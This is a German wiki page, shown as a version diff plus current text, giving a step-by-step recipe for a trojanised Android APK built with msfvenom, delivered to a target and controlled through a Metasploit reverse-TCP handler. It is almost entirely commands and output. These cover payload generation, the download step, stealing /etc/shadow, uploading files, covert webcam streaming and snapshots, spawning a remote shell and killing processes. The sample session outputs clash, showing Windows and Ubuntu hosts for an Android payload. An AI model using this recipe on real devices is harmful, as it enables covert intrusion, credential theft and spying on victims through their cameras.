Metasploit trojaner android: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(28 dazwischenliegende Versionen von 3 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
−
=TheFatRat=
+
=Check Android payloads=
−
==Install==
+
*msfvenom -l | grep android
−
*git clone https://github.com/Screetsec/TheFatRat
+
    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP
−
*cd TheFatRat
+
    android/meterpreter/reverse_https                  Run a meterpreter server in Android. Tunnel communication over HTTPS
−
*bash setup.sh
+
    android/meterpreter/reverse_tcp                    Run a meterpreter server in Android. Connect back stager
−
==Start==
+
    android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell
−
*./fatrat
+
    android/meterpreter_reverse_https                  Connect back to attacker and spawn a Meterpreter shell
−
[[Datei:thefatrat2.png]]
+
    android/meterpreter_reverse_tcp                    Connect back to the attacker and spawn a Meterpreter shell
−
*5
+
    android/shell/reverse_http                          Spawn a piped command shell (sh). Tunnel communication over HTTP
−
*LHOST
+
    android/shell/reverse_https                        Spawn a piped command shell (sh). Tunnel communication over HTTPS
−
*LPORT
+
    android/shell/reverse_tcp                          Spawn a piped command shell (sh). Connect back stager
 +
 
 +
=create Payload=
 +
*cd /var/www/html/
 +
*msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.10.101 LPORT=4444  R> spiel.apk
 +
 
 +
=get Payload on the target computer an start=
 +
*wget http://10.0.10.101/spiel.apk
 +
 
 +
=Launch Console=
 +
*msfconsole
 +
<pre>
 +
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00
 +
Aiee, Killing Interrupt handler
 +
Kernel panic: Attempted to kill the idle task!
 +
In swapper task - not syncing
 +
 
 +
 
 +
      =[ metasploit v4.16.6-dev                          ]
 +
+ -- --=[ 1682 exploits - 964 auxiliary - 297 post        ]
 +
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
 +
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
 +
</pre>
 +
*msf > use exploit/multi/handler
 +
*msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
 +
*msf exploit(handler) > set LHOST 10.0.10.101
 +
  LHOST => 10.0.10.101
 +
*msf exploit(handler) > set LPORT 4444
 +
LPORT => 4444
 +
 
 +
=Start the exploits=
 +
*msf exploit(handler) > exploit
 +
[*] Exploit running as background job 0.
 +
 
 +
[*] Started reverse TCP handler on 10.0.10.101:4444
 +
 
 +
=Viewing the sessions=
 +
*msf exploit(handler) > sessions
 +
<pre>
 +
Active sessions
 +
===============
 +
 
 +
  Id  Type                    Information              Connection
 +
  --  ----                    -----------              ----------
 +
  1  meterpreter x86/windows  shuttle\xinux @ SHUTTLE  10.81.1.91:4444 -> 10.81.70.36:50707 (10.81.70.36)
 +
</pre>
 +
 
 +
=Changing the sessions=
 +
 
 +
*msf exploit(handler) > sessions -i 1
 +
[*] Starting interaction with 1...
 +
 
 +
=Metapreter File Management=
 +
==pwd==
 +
*meterpreter > pwd
 +
==cd==
 +
*meterpreter > cd ..
 +
*meterpreter > cd /etc
 +
 
 +
==Download==
 +
*meterpreter > download shadow
 +
 
 +
==upload==
 +
*meterpreter > cd /root
 +
*meterpreter > upload /etc/hosts
 +
 
 +
=Webcam=
 +
==list==
 +
*meterpreter > webcam_list
 +
1: Integrated Camera
 +
==Live stream==
 +
*meterpreter > webcam_stream
 +
[*] Starting...
 +
[*] Preparing player...
 +
[*] Opening player at: XZLHwhtQ.html
 +
[*] Streaming...
 +
 
 +
==snap==
 +
*meterpreter > webcam_snap
 +
[*] Starting...
 +
[+] Got frame
 +
[*] Stopped
 +
Webcam shot saved to: /root/PDYSnlbK.jpeg
 +
 
 +
=Starting a Shell (No Shell Prompt)=
 +
*meterpreter > shell
 +
<pre>
 +
Process 14779 created.
 +
Channel 5 created.
 +
</pre>
 +
*C:\Users\xinux\Downloads>
 +
==Examples Shell==
 +
*ifconfig
 +
*route -n
 +
*netstat -ltpn
 +
 
 +
==Quit==
 +
*STRG+c
 +
 
 +
=Sysinfo=
 +
*meterpreter > sysinfo
 +
<pre>
 +
Computer    : gustavo.xinux.lan
 +
OS          : Ubuntu 16.04 (Linux 4.4.0-97-generic)
 +
Architecture : x64
 +
Meterpreter  : x64/linux
 +
</pre>
 +
 
 +
=Kill a Prozess=
 +
*meterpreter > pkill notepad
 +
Filtering on 'notepad'
 +
Killing: 3240

Aktuelle Version vom 6. August 2021, 12:15 Uhr

Check Android payloads

  • msfvenom -l | grep android
   android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP
   android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS
   android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager
   android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell
   android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell
   android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell
   android/shell/reverse_http                          Spawn a piped command shell (sh). Tunnel communication over HTTP
   android/shell/reverse_https                         Spawn a piped command shell (sh). Tunnel communication over HTTPS
   android/shell/reverse_tcp                           Spawn a piped command shell (sh). Connect back stager

create Payload

  • cd /var/www/html/
  • msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.10.101 LPORT=4444 R> spiel.apk

get Payload on the target computer an start

Launch Console

  • msfconsole
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing


       =[ metasploit v4.16.6-dev                          ]
+ -- --=[ 1682 exploits - 964 auxiliary - 297 post        ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
  • msf > use exploit/multi/handler
  • msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
  • msf exploit(handler) > set LHOST 10.0.10.101
LHOST => 10.0.10.101
  • msf exploit(handler) > set LPORT 4444
LPORT => 4444

Start the exploits

  • msf exploit(handler) > exploit
[*] Exploit running as background job 0. 

[*] Started reverse TCP handler on 10.0.10.101:4444

Viewing the sessions

  • msf exploit(handler) > sessions
Active sessions
===============

  Id  Type                     Information              Connection
  --  ----                     -----------              ----------
  1   meterpreter x86/windows  shuttle\xinux @ SHUTTLE  10.81.1.91:4444 -> 10.81.70.36:50707 (10.81.70.36)

Changing the sessions

  • msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Metapreter File Management

pwd

  • meterpreter > pwd

cd

  • meterpreter > cd ..
  • meterpreter > cd /etc

Download

  • meterpreter > download shadow

upload

  • meterpreter > cd /root
  • meterpreter > upload /etc/hosts

Webcam

list

  • meterpreter > webcam_list
1: Integrated Camera

Live stream

  • meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: XZLHwhtQ.html
[*] Streaming...

snap

  • meterpreter > webcam_snap
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/PDYSnlbK.jpeg

Starting a Shell (No Shell Prompt)

  • meterpreter > shell
Process 14779 created.
Channel 5 created.
  • C:\Users\xinux\Downloads>

Examples Shell

  • ifconfig
  • route -n
  • netstat -ltpn

Quit

  • STRG+c

Sysinfo

  • meterpreter > sysinfo
Computer     : gustavo.xinux.lan
OS           : Ubuntu 16.04 (Linux 4.4.0-97-generic)
Architecture : x64
Meterpreter  : x64/linux

Kill a Prozess

  • meterpreter > pkill notepad
Filtering on 'notepad'
Killing: 3240
Abgerufen von „http://wiki.ixheim.de/index.php?title=Metasploit_trojaner_android&oldid=26863“